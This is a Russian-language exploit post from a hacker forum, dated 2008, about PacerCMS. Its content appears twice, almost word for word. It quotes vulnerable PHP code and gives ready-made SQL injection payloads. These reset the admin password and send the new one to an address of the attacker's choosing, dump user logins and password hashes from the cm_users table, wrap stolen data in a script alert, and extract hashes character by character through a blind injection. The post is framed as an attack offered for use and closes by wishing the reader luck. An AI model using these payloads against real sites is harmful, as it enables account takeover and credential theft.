Dr.Z3r0
02.09.2008, 00:05
0.INTRO
Офсайт: http://pacercms.sourceforge.net/
Префикс(вшит): cm_
Админка: siteadmin/
1.Уязвимости
1. Change Admin Password
Собственно вот весь уязвимый код:
// siteadmin/login.php (42-45)
if ($_POST['username'] != "" && $_POST['email'] != "") {
$username = $_POST['username'];
$email = $_POST['email'];
$status = cm_reset_pass($username,$email);
//...
}
// siteadmin/cm-includes/functions.php (80-133)
function cm_reset_pass($username,$email){
$query = "SELECT * FROM cm_users";
$query .= " WHERE user_login = '$username' AND user_email = '$email'";
$query .= " LIMIT 1;";
$result = cm_run_query($query);
$id = $result->Fields('id');
if (is_numeric($id))
{
//...
//Тут рандомно генерится новый пасс
//...
// Change to MD5 Hash of random password
$enc_password = md5($password);
$query = "UPDATE cm_users SET";
$query .= " user_password = '$enc_password'";
$query .= " WHERE id = $id";
$result = cm_run_query($query);
// E-mail new password to user
$subject = "PacerCMS - Your new username and password";
//...
$message .= "Username:\t $username\n";
$message .= "Password:\t $password\n ";
//...
// Send the e-mail notification
$sendit = mail($email, $subject, $message);
//...
} else {
//...
}
}
Все элементарно. Отсутствует проверка переменной $username и у нас появляется возможность заюзать SQL Injection.
А для изменения пасса у админа модифицируем запрос к БД так чтобы мы смогли подменить $id на админский (дефолт - 1). Пароль успешно меняется и результат отсылается на указанный нами e-mail.
Для использования необходимо magic_quotes=off.
Эксплойт:
http://pacercms/siteadmin/login.php
POST: username=' UNION SELECT 1,1,1,1,1,1,1,1, 1,1,1,1,1,1,1,1,1,1,1 -- d&email=[Your e-mail]
2. SQL injection
Интересная уязвимость. Файл feed.php (8-32)
if (is_numeric($_GET['id']))
{
// Grab selected section
$section = $_GET['id'];
$smarty->assign("section_name", section_info('name', $_GET['id']) );
$feed_wc .= " WHERE section_id = '$section' AND issue_id = '$issue' ";
} elseif ($_GET['show'] == 'all') {
// Show all sections
$feed_wc .= " WHERE issue_id = $issue ";
} else {
// Default to cover section
$feed_wc .= " WHERE section_id = 1 AND issue_id = $issue ";
}
/*=======================
Feed Articles
=======================*/
$query = "SELECT a.id, a.article_title, a.article_text, a.article_summary, a.article_author, a.article_publish, s.section_name ";
$query .= " FROM cm_articles a INNER JOIN cm_sections s ON a.section_id = s.id ";
$query .= $feed_wc;
$query .= " ORDER BY s.section_priority, a.article_priority ASC; ";
// Run Query
$result = run_query($query);
Попробуйте отследить переменную $feed_wc. Заметили? Она не объявляется должным образом. То есть мы можем присвоить ей любое значение и только потом после нашего значения к ней допишется один из трех вариантах описанных в конструкции с ифами.
Затем эта переменная попадает в запрос. Благодаря чему появляется SQL injection.
(Кстати в данном случае можно заюзать эту багу в 3 версии мускуля где отсутствуют UNION и подзапросы, дописав таблицу с юзерами через запятую во FROM, эт так мылси вслух)
Необходимо: register_globals=On
Эксплойт:
http://pacercms/feed.php?feed_wc=WHERE 1=0 UNION SELECT 1,2,3,4,5,CONCAT_WS(0x203A20,user_login,user_passw ord),7 FROM cm_users -- d
Ну и для третей ветки Мускуля:
http://pacercms/feed.php?feed_wc=, cm_users WHERE IF(ASCII(SUBSTRING(user_login,1,1))>102,1,0) -- d
3. SQL injection
А эту багу можно заюзать в двух вариантах в зависимости от настройки PHP. Сейчас объсню.
Бажный код search.php(13-58)
// Get set values
$string = strip_tags($_GET['s']);
$index = strip_tags($_GET['index']);
$sort_by = strip_tags($sort_by_list[$_GET['sort_by']]);
$sort_dir = strip_tags($_GET['sort_dir']);
// Make sure defaults are set
if (empty($index)) { $index = 'article'; }
if ($sort_dir != 'ASC') { $sort_dir = 'DESC'; }
if (empty($sort_by)) { $sort_by = 'article_publish'; }
//...
// Set search mode
if ($index == "article") { $field = "article_text,article_title,article_subtitle"; }
if ($index == "author") { $field = "article_author"; }
if ($index == "keyword") { $field = "article_keywords"; }
$query = "SELECT cm_articles.id, cm_articles.id AS article_id, "; // article_id depreciated
$query .= " article_title, article_summary, article_author, article_word_count, article_publish, section_name ";
$query .= " FROM cm_articles INNER JOIN cm_sections ON cm_articles.section_id = cm_sections.id ";
$query .= " WHERE MATCH ($field) AGAINST ('$string' IN BOOLEAN MODE) AND article_publish < '$next_issue_date' ";
$query .= " ORDER BY $sort_by $sort_dir;";
// Run query
$result = run_query($query);
Попробуем последить за двумя перменными $index и $field. $index берется из массива $_GET и затем в зависимости от трех различных значений этой перменной объявлятеся $field, которая в свою очередь попадает в запрос.
Вроде типа грамотно. Ан нет. Если мы присвоим $index любое другое значение не предусмотренное в ифах, то можем задать $field любое наше значение при условии register_globals=On, которое затем попадет в SQL запрос.
Второй вариант. На сервере register_globals=Off. Что делать? Так вот. Следим за переменной $string она берется из массива $_GET и попадает в запрос без фильтрации, с одной стороны register_globals нас особо не волнует, с другой - появляется неободимость в magic_quotes=off
Эксплоиты:
Need: register_globals=on
http://pacercms/search.php?index=zzzz&field=article_author) AGAINST (2) AND 1=0 UNION SELECT 1,2,3,4,5,6,7,8 -- d
Need: magic_qoutes=off
http://pacercms/search.php?s=2') AND 1=0 UNION SELECT 1,2,3,4,5,CONCAT_WS(0x203A20,user_login,user_passw ord),7,8 FROM cm_users -- d
4. SQL injection
Тут все до нельзя банально. archives.php (99-107)
$query = "SELECT cm_articles.id, cm_articles.id AS article_id, "; // article_id depreciated
$query .= " article_title, article_summary, article_author, article_word_count, section_name, issue_volume, issue_number ";
$query .= " FROM cm_articles INNER JOIN (cm_sections, cm_issues) ";
$query .= " ON (cm_sections.id = cm_articles.section_id AND cm_issues.id = cm_articles.issue_id)";
$query .= " WHERE issue_date = '$issue_date' AND issue_date < '$next_issue_date' ";
$query .= " ORDER BY section_priority ASC, article_priority ASC;";
// Run query
$result = run_query($query);
Возможно задать перменной $issue_date свое значение при register_globals=on и заюзать SQL inj при magic_quotes=off, вот такая вот привередливая бага.
Эксплоит:
http://pacercms/archives.php?issue=1&issue_date=1' UNION SELECT 1,2,3,4,5,CONCAT('<script>alert("',CONCAT_WS(0x203A20,user_login,user_password),'")</script>'),7,8,9 FROM cm_users-- d
//ЗЫ с алертом изъебнулсо чтобы сразу бросалось в глаза, это необязательно ;)
5. Blind SQL injection (More1Row)
Бажен этот же файл. archives.php (22-28)
if (ereg("([0-9]{4})-([0-9]{1,2})-([0-9]{1,2})", $_GET['issue']))
{
$issue_date = $_GET['issue'];
$query = "SELECT issue_volume FROM cm_issues WHERE issue_date = '$issue_date';";
$result = run_query($query);
$volume = $result->Fields(issue_volume);
}
Такое ощущение что автор немного накосячил в регулярке, во первых, а во вторых в любом случае эта фильтрация свелась бы на нет нулл байтом %00
Если при выполнении SQL запроса произошла какая то ошибка то функция run_query выводит типа блаблабла косяк в запросе, благодаря чему мы можем заюзать метод more1row.
Для эксплуатации уязвимости необходимо magic_quotes=off
Эксплоит:
http://pacercms/archives.php?issue=2008-09-01' OR IF(ASCII(SUBSTRING((SELECT CONCAT_WS(0x3A,user_login,user_password) FROM cm_users),1,1))>102,1,(SELECT 1 UNION SELECT 2))-- d
2.OUTRO
Это самые критичные баги. К примеру XSS там куча, огромная куча. В особенности пассивок.
В админке способа залить шелл нету. Вся админка работает только по принципу добавить новость, удалить, вообщем самый минимум. Хотя может быть чего то да я упустил.
Собственно удачи...
Офсайт: http://pacercms.sourceforge.net/
Префикс(вшит): cm_
Админка: siteadmin/
1.Уязвимости
1. Change Admin Password
Собственно вот весь уязвимый код:
// siteadmin/login.php (42-45)
if ($_POST['username'] != "" && $_POST['email'] != "") {
$username = $_POST['username'];
$email = $_POST['email'];
$status = cm_reset_pass($username,$email);
//...
}
// siteadmin/cm-includes/functions.php (80-133)
function cm_reset_pass($username,$email){
$query = "SELECT * FROM cm_users";
$query .= " WHERE user_login = '$username' AND user_email = '$email'";
$query .= " LIMIT 1;";
$result = cm_run_query($query);
$id = $result->Fields('id');
if (is_numeric($id))
{
//...
//Тут рандомно генерится новый пасс
//...
// Change to MD5 Hash of random password
$enc_password = md5($password);
$query = "UPDATE cm_users SET";
$query .= " user_password = '$enc_password'";
$query .= " WHERE id = $id";
$result = cm_run_query($query);
// E-mail new password to user
$subject = "PacerCMS - Your new username and password";
//...
$message .= "Username:\t $username\n";
$message .= "Password:\t $password\n ";
//...
// Send the e-mail notification
$sendit = mail($email, $subject, $message);
//...
} else {
//...
}
}
Все элементарно. Отсутствует проверка переменной $username и у нас появляется возможность заюзать SQL Injection.
А для изменения пасса у админа модифицируем запрос к БД так чтобы мы смогли подменить $id на админский (дефолт - 1). Пароль успешно меняется и результат отсылается на указанный нами e-mail.
Для использования необходимо magic_quotes=off.
Эксплойт:
http://pacercms/siteadmin/login.php
POST: username=' UNION SELECT 1,1,1,1,1,1,1,1, 1,1,1,1,1,1,1,1,1,1,1 -- d&email=[Your e-mail]
2. SQL injection
Интересная уязвимость. Файл feed.php (8-32)
if (is_numeric($_GET['id']))
{
// Grab selected section
$section = $_GET['id'];
$smarty->assign("section_name", section_info('name', $_GET['id']) );
$feed_wc .= " WHERE section_id = '$section' AND issue_id = '$issue' ";
} elseif ($_GET['show'] == 'all') {
// Show all sections
$feed_wc .= " WHERE issue_id = $issue ";
} else {
// Default to cover section
$feed_wc .= " WHERE section_id = 1 AND issue_id = $issue ";
}
/*=======================
Feed Articles
=======================*/
$query = "SELECT a.id, a.article_title, a.article_text, a.article_summary, a.article_author, a.article_publish, s.section_name ";
$query .= " FROM cm_articles a INNER JOIN cm_sections s ON a.section_id = s.id ";
$query .= $feed_wc;
$query .= " ORDER BY s.section_priority, a.article_priority ASC; ";
// Run Query
$result = run_query($query);
Попробуйте отследить переменную $feed_wc. Заметили? Она не объявляется должным образом. То есть мы можем присвоить ей любое значение и только потом после нашего значения к ней допишется один из трех вариантах описанных в конструкции с ифами.
Затем эта переменная попадает в запрос. Благодаря чему появляется SQL injection.
(Кстати в данном случае можно заюзать эту багу в 3 версии мускуля где отсутствуют UNION и подзапросы, дописав таблицу с юзерами через запятую во FROM, эт так мылси вслух)
Необходимо: register_globals=On
Эксплойт:
http://pacercms/feed.php?feed_wc=WHERE 1=0 UNION SELECT 1,2,3,4,5,CONCAT_WS(0x203A20,user_login,user_passw ord),7 FROM cm_users -- d
Ну и для третей ветки Мускуля:
http://pacercms/feed.php?feed_wc=, cm_users WHERE IF(ASCII(SUBSTRING(user_login,1,1))>102,1,0) -- d
3. SQL injection
А эту багу можно заюзать в двух вариантах в зависимости от настройки PHP. Сейчас объсню.
Бажный код search.php(13-58)
// Get set values
$string = strip_tags($_GET['s']);
$index = strip_tags($_GET['index']);
$sort_by = strip_tags($sort_by_list[$_GET['sort_by']]);
$sort_dir = strip_tags($_GET['sort_dir']);
// Make sure defaults are set
if (empty($index)) { $index = 'article'; }
if ($sort_dir != 'ASC') { $sort_dir = 'DESC'; }
if (empty($sort_by)) { $sort_by = 'article_publish'; }
//...
// Set search mode
if ($index == "article") { $field = "article_text,article_title,article_subtitle"; }
if ($index == "author") { $field = "article_author"; }
if ($index == "keyword") { $field = "article_keywords"; }
$query = "SELECT cm_articles.id, cm_articles.id AS article_id, "; // article_id depreciated
$query .= " article_title, article_summary, article_author, article_word_count, article_publish, section_name ";
$query .= " FROM cm_articles INNER JOIN cm_sections ON cm_articles.section_id = cm_sections.id ";
$query .= " WHERE MATCH ($field) AGAINST ('$string' IN BOOLEAN MODE) AND article_publish < '$next_issue_date' ";
$query .= " ORDER BY $sort_by $sort_dir;";
// Run query
$result = run_query($query);
Попробуем последить за двумя перменными $index и $field. $index берется из массива $_GET и затем в зависимости от трех различных значений этой перменной объявлятеся $field, которая в свою очередь попадает в запрос.
Вроде типа грамотно. Ан нет. Если мы присвоим $index любое другое значение не предусмотренное в ифах, то можем задать $field любое наше значение при условии register_globals=On, которое затем попадет в SQL запрос.
Второй вариант. На сервере register_globals=Off. Что делать? Так вот. Следим за переменной $string она берется из массива $_GET и попадает в запрос без фильтрации, с одной стороны register_globals нас особо не волнует, с другой - появляется неободимость в magic_quotes=off
Эксплоиты:
Need: register_globals=on
http://pacercms/search.php?index=zzzz&field=article_author) AGAINST (2) AND 1=0 UNION SELECT 1,2,3,4,5,6,7,8 -- d
Need: magic_qoutes=off
http://pacercms/search.php?s=2') AND 1=0 UNION SELECT 1,2,3,4,5,CONCAT_WS(0x203A20,user_login,user_passw ord),7,8 FROM cm_users -- d
4. SQL injection
Тут все до нельзя банально. archives.php (99-107)
$query = "SELECT cm_articles.id, cm_articles.id AS article_id, "; // article_id depreciated
$query .= " article_title, article_summary, article_author, article_word_count, section_name, issue_volume, issue_number ";
$query .= " FROM cm_articles INNER JOIN (cm_sections, cm_issues) ";
$query .= " ON (cm_sections.id = cm_articles.section_id AND cm_issues.id = cm_articles.issue_id)";
$query .= " WHERE issue_date = '$issue_date' AND issue_date < '$next_issue_date' ";
$query .= " ORDER BY section_priority ASC, article_priority ASC;";
// Run query
$result = run_query($query);
Возможно задать перменной $issue_date свое значение при register_globals=on и заюзать SQL inj при magic_quotes=off, вот такая вот привередливая бага.
Эксплоит:
http://pacercms/archives.php?issue=1&issue_date=1' UNION SELECT 1,2,3,4,5,CONCAT('<script>alert("',CONCAT_WS(0x203A20,user_login,user_password),'")</script>'),7,8,9 FROM cm_users-- d
//ЗЫ с алертом изъебнулсо чтобы сразу бросалось в глаза, это необязательно ;)
5. Blind SQL injection (More1Row)
Бажен этот же файл. archives.php (22-28)
if (ereg("([0-9]{4})-([0-9]{1,2})-([0-9]{1,2})", $_GET['issue']))
{
$issue_date = $_GET['issue'];
$query = "SELECT issue_volume FROM cm_issues WHERE issue_date = '$issue_date';";
$result = run_query($query);
$volume = $result->Fields(issue_volume);
}
Такое ощущение что автор немного накосячил в регулярке, во первых, а во вторых в любом случае эта фильтрация свелась бы на нет нулл байтом %00
Если при выполнении SQL запроса произошла какая то ошибка то функция run_query выводит типа блаблабла косяк в запросе, благодаря чему мы можем заюзать метод more1row.
Для эксплуатации уязвимости необходимо magic_quotes=off
Эксплоит:
http://pacercms/archives.php?issue=2008-09-01' OR IF(ASCII(SUBSTRING((SELECT CONCAT_WS(0x3A,user_login,user_password) FROM cm_users),1,1))>102,1,(SELECT 1 UNION SELECT 2))-- d
2.OUTRO
Это самые критичные баги. К примеру XSS там куча, огромная куча. В особенности пассивок.
В админке способа залить шелл нету. Вся админка работает только по принципу добавить новость, удалить, вообщем самый минимум. Хотя может быть чего то да я упустил.
Собственно удачи...